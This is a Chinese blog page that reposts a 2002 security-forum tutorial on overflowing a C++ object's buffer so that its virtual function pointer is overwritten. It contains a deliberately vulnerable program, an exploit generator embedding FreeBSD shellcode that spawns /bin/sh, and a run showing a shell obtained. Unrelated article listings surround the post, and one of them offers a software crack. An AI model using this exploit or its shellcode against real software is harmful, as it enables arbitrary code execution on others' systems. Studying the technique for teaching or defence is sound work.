【例子】一个C++溢出虚函数指针的更真实试验

C++异常处理:从核心机制到RAII与noexcept实战 在软件工程中,错误处理是构建健壮系统的基石。其核心原理在于将错误检测与处理逻辑分离,以保障代码的清晰与可维护性。从技术价值看,结构化的错误处理机制能显著提升程序的容错能力与资源安全性。在C++等系统级编程场景中,异常处理机制通过`try`、`throw`、`catch`关键字实现非局部错误传播,尤其在与RAII(资源获取即初始化)范式结合后,可确保即使在异常发生时,栈展开过程也能自动调用析构函数,从而避免资源泄漏。这为文件操作、内存管理、锁控制等场景提供了坚实的异常安全保证。本文聚焦于C++异常处理,深入探 阅读详情

一个C++溢出虚函数指针的更真实试验


创建时间:2002-04-24
文章属性:转载
文章来源: watercloud@nsfocus.com
文章提交: inburst (inburst_at_263.net)

发信人:watercloud(watercloud),信区:网络安全
标题:一个C++溢出虚函数指针的更真实试验
发信站:安全焦点(2002-04-24 19:55:55)
先写一个程序bug.cpp
里边getBuff方法从文件bug.conf中读入一行到buff中,没有进行边界检查。
printBuff是一个虚函数


#include<iostream.h>
#include<fstream.h>
#include<unistd.h>

class ClassBase
{
public:
  char buff[128];

  void getBuff()
  {
     ifstream myin;
     myin.open("bug.conf");
     cout << "Get buff from file : bug.conf" << endl;
     myin >> buff;    // 看,这种用法的人不是少数吧 !
  };
  virtual void printBuffer(void){};
};

class  ClassA :public ClassBase
{
public:
  void printBuffer(void)
  {
     cout << "Name :" << buff << endl;
  };
};


int main(void)
{
  ClassA a;
  ClassBase * pa = &a;


  cout << &a << endl;

  a.getBuff();   // ----这个里边没有边界检查 !
  pa->printBuffer();

  return 0;
}
编译:
bash-2.05$ gcc bug.cpp -lstdc++ -o bug
然后创建一个文件bug.conf 写一行cloud 然后运行bug看看:
bash-2.05$ ./bug
0xbfbffb38
Get buff from file : bug.conf
Name :cloud
bash-2.05$

看,读入数据并显示了 。

我们接下来的目的就是生成一个特别点的bug.conf让他执行里边的代码得到机器码!
写攻击程序有两个难点:&a 的起始地址 ??? a.buff的长度 ???

当然这是我们自己的程序 ,看上面的打印结果就是  &a = 0xbfbffb38  ,当然 len = 128
自己的就是方便,要是别人的就要用gdb来调了 呵呵!

好了我们来写一个攻击程序:
ex.c

#include<stdio.h>

char  buffer[512],*pc;
long  * pl = (long *) buffer;

long  ex_addr = 0xbfbffb38;
int   ex_buff_len=128;


char  shellcode[]="1/xc0Ph//shh/binT[PPSS4;/xcd/x80";  // shellcode for FreeBSD
                       //你可以换成其他平台的shellcode
int i;

int main(void)
{

  for(i=0;i<3;pl[i++]=0x41414141);

  pl[3]=ex_addr+16;

  pc = buffer+16;

  strcpy(pc,shellcode);
  pc+=strlen(shellcode);

  for(;pc - buffer < ex_buff_len; *pc++='D');

  pl=(long *) pc;
  *pl= ex_addr;
  pc+=4;
  *pc=0;

  printf("%s/n/n",buffer);
  return 0;
}

编译: gcc ex.c -o ex
运行显示:
AAAAAAAAAAAAH&ucirc;&iquest;&iquest;1&Agrave;Ph//shh/binT[PPSS4;&Iacute;DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD8&ucirc;
&iquest;&iquest;

呵呵,这就是我们构建的特殊字符窜,构建原理和原来文章讲的一样就不多说了!
一个补充的是 我用的shellcode是for freebsd的,故程序只能在freebsd上测试
当然你可以换成其他平台的shellcode 就可以在其他平台上测试了(但一定要是gcc)
好了,开始攻击:

bash-2.05$ ./ex > bug.conf      
bash-2.05$ ./bug
0xbfbffb38
Get buff from file : bug.conf
$        <------------看攻击成功了!!!



更多的信息参见
<<C++中通过溢出覆盖虚函数指针列表执行代码>>
http://magazine.nsfocus.com/detail.asp?id=1291


                      __ watercloud __

--
※ 来源:·安全焦点讨论区 www.xfocus.net·
Policy-based design在嵌入式网络连接管理中的实战应用 Policy-based design(策略化设计)是一种以编译期类型组合替代运行时多态的C++架构范式,核心在于将变化点(如连接协议、重试逻辑、流量控制)抽象为模板参数,实现零开销抽象与内存确定性。其技术价值在于规避虚函数表开销、消除动态分配风险、提升缓存局部性,并天然支持配置即代码——尤其适用于Windows Mobile、IoT设备、车载T-Box、工业网关等资源受限嵌入式场景。本文结合真实WM平台网络连接模块重构案例,详解如何用CRssiSignalPolicy、CAggressiveGprsFal 阅读详情

相关推荐

蔚来软件开发岗秋招笔试全复盘:题型、考点与避坑指南

在汽车软件研发领域,笔试环节是校招筛选候选人的第一道关口,其考察重点往往折射出行业对工程师底层能力的要求。不同于互联网大厂侧重算法手速,车企软开笔试更强调编程语言机制、操作系统、计算机网络等基础知识的扎实程度,同时要求候选人具备将业务场景抽象为算法模型的能力。以蔚来汽车为例,其线上笔试采用赛码网平台,涵盖选择题与编程题,涉及C++、并发编程、拓扑排序等核心技术点,并需要在弱网环境下稳定完成输入输出处理。这类考察方式不仅用于评估候选人的编码水平,也映射了车规级软件对稳定性与边界思维的重视。对于准备投递车企软件

weixin_30920853的博客 455

【分析】一个C++溢出虚函数指针的更真实试验

一个C++溢出虚函数指针的更真实试验创建时间:2002-04-24文章属性:转载文章来源:watercloud@nsfocus.com文章提交:inburst (inburst_at_263.net)发信人:watercloud(watercloud),信区:网络安全标题:一个C++溢出虚函数指针的更真实试验 发信站:安全焦点(2002-04-24 19:55:55) 先写一个程序bug.cpp

FreeXploiT 1076

多租户Saas架构设计分析(基础篇)

本篇先给大家介绍一下相关的概念和常见问题。 实践篇链接:https://blog.youkuaiyun.com/haponchang/article/details/104246317 SaaS简介 SaaS是Software-as-a-Service(软件即服务)的简称,“软件即服务”?是不是有点拗口?其实你就理解成为“按需租用别人提供的软件服务”就可以了,它是一种软件交付模式。...

haponchang的博客 1万+

C语言指针溢出

C语言的指针不安全 #include<stdio.h> int main(){ // char a[] = "nihaoma?"; // char *p = a; // // printf("%c",a[8]); // printf("%s",p); int a[2] = {0,1},b = 2; printf("%d\n",&b); int *p = a; printf("%d\n",*(p-1)); } 此时打印的是b

qq_43402663的博客 2098

机器视觉:9点标定的原理与实现

标定就是将机器视觉处理得到的像素坐标转换成实际项目中使用到的毫米坐标。简单说即使看看实际单位距离内有几个像素,如下图所示,10mm的距离内有222个像素,那像素坐标和实际的毫米坐标就有个比例关系了。

m0_49968063的博客 1万+

高通平台power_supply 框架下添加第三方充电IC的驱动方法

1.power_supply电源框架介绍: power supply framework在kernel/drivers/power/下。内核抽象出来power supply子系统为驱动提供了统一的框架。 功能包括: 1.抽象PSY设备的共性,向用户空间提供统一的API; 2.为底层PSY驱动的编写,提供简单、统一的方式,同时封装并实现公共逻辑。 power supply class位于d...

Change 1万+

内存泄漏问题,4种智能指针(介绍+模拟实现)

内存泄漏,四种智能指针的介绍和模拟实现

m0_74206992的博客 266

均值回归 高频交易_基于布林带的均值回归交易策略

BOLL指标是美国股市分析家约翰·布林根据统计学中的标准差原理设计出来的一种非常简单实用的技术分析指标。一般而言,股价的运动总是围绕某一价值中枢(如均线、成本线等)在一定的范围内变动,布林线指标正是在上述条件的基础上,引进了“股价通道”的概念,其认为股价通道的宽窄随着股价波动幅度的大小而变化,而且股价通道又具有变异性,它会随着股价的变化而自动调整。由于之前大部分交易策略都是选股或者趋势追踪的择时,...

weixin_42528534的博客 1459

智能指针简单模拟实现

智能指针简单总结

xd6905的博客 637

粒子群算法Particle Swarm Optimization超详细解析+代码实例讲解

粒子群算法,也称粒子群优化算法或鸟群觅食算法(Particle Swarm Optimization),缩写为 PSO, 是近年来由J. Kennedy和R. C. Eberhart等开发的一种新的进化算法(Evolutionary Algorithm - EA)。

猫敷雪 894

openHarmony之AI Engine:万字讲解如何在应用、开发板上接入AI大模型调用

本文章介绍如何在 OpenHarmony 开发板上集成和部署各类 AI 大模型,实现终端直接聊天功能,并为语音助手、智能机器人等应用提供 AI 接口支持。

m0_67505153的博客 620

C++ 实现Buffer 动态分配管理代码实现

C++ 实现Buffer 动态分配管理代码实现一、 Class Memory_Manager 头文件代码实现二、 Class Memory_Manager 代码实现三、Class Memory_Manager 使用方法 应公司需求,花半天时间写了一个内存buffer 动态管理的代码。 实现功能如下: 初始化时,常驻两块 buff 用于数据传输。(兼顾 性能) 在数据高峰期时,当已分配的两块 b...

|~~~热爱生活、努力学习的小伙汁~~~| 2618

BMS硬件设计核心:安全、精度与EMC的工程平衡

电池管理系统(BMS)是保障锂电安全运行的关键嵌入式子系统,其本质是在高精度模拟测量、实时故障响应与复杂电磁环境适应性之间达成工程平衡。原理上,BMS依赖专用监测芯片(如BQ76920)实现微秒级硬件保护,结合主控MCU(如STM32)完成策略决策与通信管理,形成‘安全协处理器+智能主控’双架构。技术价值体现在对过压/欠压/过流/温度等多维故障的毫秒级闭环处置能力,支撑SOC/SOH估算可信度与系统鲁棒性。典型应用场景涵盖电动工具、轻型电动车及储能模块等中低串数电池组。本文聚焦BMS控制板在时钟布局、电源滤

weixin_30591519的博客 71

一个C++溢出虚函数指针的更真实试验

先写一个程序bug.cpp 里边getBuff方法从文件bug.conf中读入一行到buff中,没有进行边界检查。 printBuff是一个虚函数 #include #include #include class ClassBase { public:   char buff[128];   void getBuff()   {      ifstream myin;      myin.open

笨笨之家 896

激光除草技术原理与应用全解析

激光除草技术通过光热、光化学等效应精准破坏杂草组织,核心参数包括功率(20-6000W)、波长(400nm-10.6μm)和脉冲宽度。主要应用于大田作物(如玉米、棉花)、经济作物(烟草、果树)及城市绿化,具有环保(无化学污染)、高效(识别率≥95%)和非接触等优势,但存在设备成本高(20-50万元)、技术门槛高等局限。当前技术融合AI识别、多光谱协同等创新,国产设备如华工智耘已实现95.3%识别精度。虽短期投入较高,但长期可降低30%除草成本,并带来环境效益(每亩减排1.2吨CO₂)

start_up_go的博客 558

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

【分析】C++中通过溢出覆盖虚函数指针列表执行代码

◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-4-15      目录:  1.  C++中虚函数的静态联编和动态联编  2.  VC中对象的空间组织和溢出试验  3.  GCC中对象的空间组织和溢出试验  4.  参考 C++中虚函数的静态联编和动态联编      C++中的一大法宝就是虚函数,简

FreeXploiT 1444

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

C++中通过溢出覆盖虚函数指针列表执行代码

   2. VC中对象的空间组织和溢出试验    3. GCC中对象的空间组织和溢出试验    4. 参考         <一> C++中虚函数的静态联编和动态联编       C++中的一大法宝就是虚函数,简单来说就是加vir...

chiloutao9982的博客 239

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

◆ C++中通过溢出覆盖虚函数指针列表执行代码

 ◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-4-15      目录:  1.  C++中虚函数的静态联编和动态联编  2.  VC中对象的空间组织和溢出试验  3.  GCC中对象的空间组织和溢出试验  4.  参考 C++中虚函数的静态联编和动态联编      C++中的一大法宝就是虚函数,

仓 1149

第11章 反思 C++ 面向对象与虚函数(2)

C++的面向对象语言设施相比其他现代语言可算得上“简陋”,而且与语言的其他部分(better C、数据抽象、泛型)融合度较差(见电子工业出版社出版的《C++Primer(第4版)(评注版)》第15章)。在C++中进行面向对象编程会遇到其他语言中不存在的问题,其本质原因是C++ class是值语义,而非对象语义。本章主要介绍虚函数存在的问题和替代方法,iostream的用途与局限,值语义与数据抽象。

chenyijun的专栏 759

Java、Python、C++技术选型与性能优化实战指南

在软件开发中,编程语言的选择是架构设计的核心决策之一,它直接关系到项目的性能、开发效率和长期可维护性。从原理上看,不同语言的设计哲学决定了其技术价值:强类型静态语言在编译期提供安全保障,适合构建大型复杂系统;动态类型语言则强调开发敏捷性,是快速原型和脚本编写的利器;而系统级语言通过对硬件资源的精细控制,能够实现极致的运行效率。这些特性使得它们在工程实践中各自拥有不可替代的应用场景。例如,企业级后端服务追求稳定与可控,高并发数据处理需要精细的内存与锁管理,而人工智能与科学计算则依赖庞大的数值计算生态。本文将围

adr5970的博客 419
上一篇: 【分析】Windows下的Heap溢出的另一种方法(WSS-Articles-02011)
下一篇: 【原理】高级format string exploit技术P59-0x07(上)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值